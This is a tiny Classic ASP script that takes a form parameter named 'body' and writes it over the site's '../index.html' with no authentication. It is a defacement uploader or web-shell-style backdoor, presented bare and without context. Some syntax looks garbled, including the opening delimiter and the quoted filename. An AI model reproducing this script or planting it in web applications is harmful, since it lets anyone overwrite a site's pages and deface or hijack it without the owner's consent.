%  
filename="../index.html"  
if request("body")>"" then  
set fso = Server.CreateObject("Scripting.FileSystemObject")  
set fout = fso.CreateTextFile(server.mappath(""filename""))  
fout.write request.form("body")  
fout.close  
set fout=nothing  
set fso=nothing  
end if  
%>